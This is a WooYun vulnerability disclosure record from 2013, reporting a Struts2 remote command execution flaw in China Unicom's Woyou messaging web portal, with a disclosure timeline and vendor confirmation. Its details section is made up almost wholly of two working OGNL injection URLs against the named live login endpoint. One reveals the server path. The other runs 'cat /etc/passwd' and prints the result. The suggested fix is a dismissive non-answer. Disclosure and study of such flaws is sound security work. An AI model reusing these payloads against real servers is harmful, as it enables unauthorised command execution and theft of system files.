漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-031749
漏洞标题:中国联通沃友struts2远程执行命令漏洞
相关厂商:中国联通
漏洞作者: 大白菜
提交时间:2013-07-22 14:06
修复时间:2013-09-05 14:06
公开时间:2013-09-05 14:06
漏洞类型:命令执行
危害等级:中
自评Rank:5
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-22: 细节已通知厂商并且等待厂商处理中
2013-07-26: 厂商已经确认,细节仅向厂商公开
2013-08-05: 细节向核心白帽子及相关领域专家公开
2013-08-15: 细节向普通白帽子公开
2013-08-25: 细节向实习白帽子公开
2013-09-05: 细节向公众公开
简要描述:
struts2远程执行命令漏洞
详细说明:
http://im.wo.com.cn/webportal//loginSp/userLogin.action这里可以执行
http://im.wo.com.cn/webportal//loginSp/userLogin.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 爆路径~
http://im.wo.com.cn/webportal//loginSp/userLogin.action?redirect:${%23s%3dnew%20java.util.ArrayList(),%23x%3dnew%20java.lang.String(%22cat%22),%23xx%3dnew%20java.lang.String(%22/etc/passwd%22),%23s.add(%23x),%23s.add(%23xx),%23a%3dnew%20java.lang.ProcessBuilder(%23s).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23dddddd%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23dddddd.println(%23d),%23dddddd.close()}
读文件~
漏洞证明:
修复方案:
自己想办法吧,也不是非得升级~
版权声明:转载请注明来源 大白菜@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:6
确认时间:2013-07-26 23:15
厂商回复:
最新状态:
暂无